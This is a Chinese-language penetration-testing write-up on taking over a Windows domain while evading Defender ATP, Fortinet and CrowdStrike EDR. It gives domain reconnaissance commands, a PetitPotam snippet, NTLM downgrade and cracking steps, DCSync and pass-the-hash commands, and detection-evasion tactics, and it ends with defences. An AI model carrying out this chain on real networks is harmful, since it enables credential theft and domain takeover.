域渗透之完全绕开安全组件
字数 1308 2025-08-29 08:32:09
域渗透完全绕开安全组件技术详解
1. 环境概述与挑战
1.1 防御组件分析
- 微软ATP组件:企业级终端检测与响应(EDR)解决方案
- Fortinet:综合性网络安全平台
- CrowdStrike Falcon:北美顶级EDR,对攻击工具检测能力极强
1.2 渗透限制条件
- 微软TSG团队定期打补丁,CVE漏洞利用难度大
- 安全组件对常见工具(Mimikatz等)有深度检测
- 免杀后仍可能触发告警
- 域内补丁由DC统一管理,本地主机不记录完整补丁信息
2. 信息收集阶段
2.1 基础信息收集
# 系统信息(补丁信息可能不完整)
systeminfo
# 进程列表(确认安全组件)
tasklist
# 网络配置信息
ipconfig /all
# 域时间同步(确认域控制器)
net time /domain
# DNS查询
nslookup <domain>
2.2 域环境信息
# 域管理员查询
net group "Domain Admins" /all
# 企业管理员查询
net group "Enterprise Admins" /domain
# 域控制器查询
net group "Domain Controllers" /domain
# SPN服务查询
setspn -q */* | findstr "<keyword>"
3. 传统工具尝试与失败
3.1 Mimikatz尝试
- 直接运行被Defender和Falcon同时检测
- 免杀技术(Out-EncryptedScript/Xencrypt)仍被拦截
- 内置服务+XSL加载可短暂运行但功能受限
3.2 PowerShell工具尝试
- Invoke函数和PowerShell模块被实时检测
- 触发安全告警但未引起SOC立即响应
4. 成功利用的技术路径
4.1 工具选择
- Impacket套件:Python实现的协议库,规避.exe检测
- 关键脚本:secretdump.py, smbclient.py等
4.2 PetitPotam攻击流程
4.2.1 攻击原理
- 利用EfsRpcOpenFileRaw函数进行身份验证
- 通过MS-EFSR协议获取NTLM-Hash
- 需要NTLM认证可连接的DC主机
4.2.2 实施步骤
-
环境确认
- 检查Lan Manager身份验证级别
- 确认匿名访问的命名管道
-
发起PetitPotam攻击
request = EfsRpcEncryptFileSrv() request['FileName'] = '\\\\%s\\path\\test.txt\x00' % listener -
Responder监听
- 需ROOT权限
- 捕获NTLMv1-ssp凭证
-
NTLM降级处理
- 修改challenge值为1122334455667788
- 或使用在线解密工具
-
凭证破解
- 使用hashcat或彩虹表
- 强密码建议使用在线破解服务
-
DCSync攻击
python3 secretsdump.py <domain>/<user>@<dc_ip> -hashes <lmhash>:<nthash> -
哈希传递(PTH)
python3 smbclient.py <domain>/<user>@<dc_ip> -hashes <lmhash>:<nthash> -
权限提升
- 使用incognito2等工具
- 修改特征值规避检测
5. 关键绕过技术
5.1 安全组件规避策略
- 使用Python工具替代传统.exe工具
- 利用合法协议(SMB, LDAP等)进行隐蔽通信
- 特征值修改避免模式匹配
- 利用内置服务加载规避进程监控
5.2 检测规避要点
- 避免直接使用知名攻击工具原版
- 协议级攻击比工具级攻击更隐蔽
- 利用域内合法通信渠道
- 控制攻击节奏避免触发频率检测
6. 防御建议
6.1 针对PetitPotam
- 禁用EfsRpcOpenFileRaw函数
- 限制匿名访问命名管道
- 监控异常MS-EFSR协议请求
6.2 通用防御措施
- 强制使用Kerberos认证,禁用NTLM
- 启用SMB签名防止Relay攻击
- 监控异常DCSync行为
- 限制域管理员账户使用范围
7. 总结
该渗透路径通过以下关键点实现绕过:
- 放弃传统工具转向Python实现的协议级工具
- 利用协议漏洞而非软件漏洞
- 分阶段攻击降低单次操作风险
- 合理利用域内信任关系
- 特征混淆避免静态检测
完整攻击链展示了在强安全防护环境下,通过深入理解协议和认证机制,仍可能找到攻击路径的技术思路。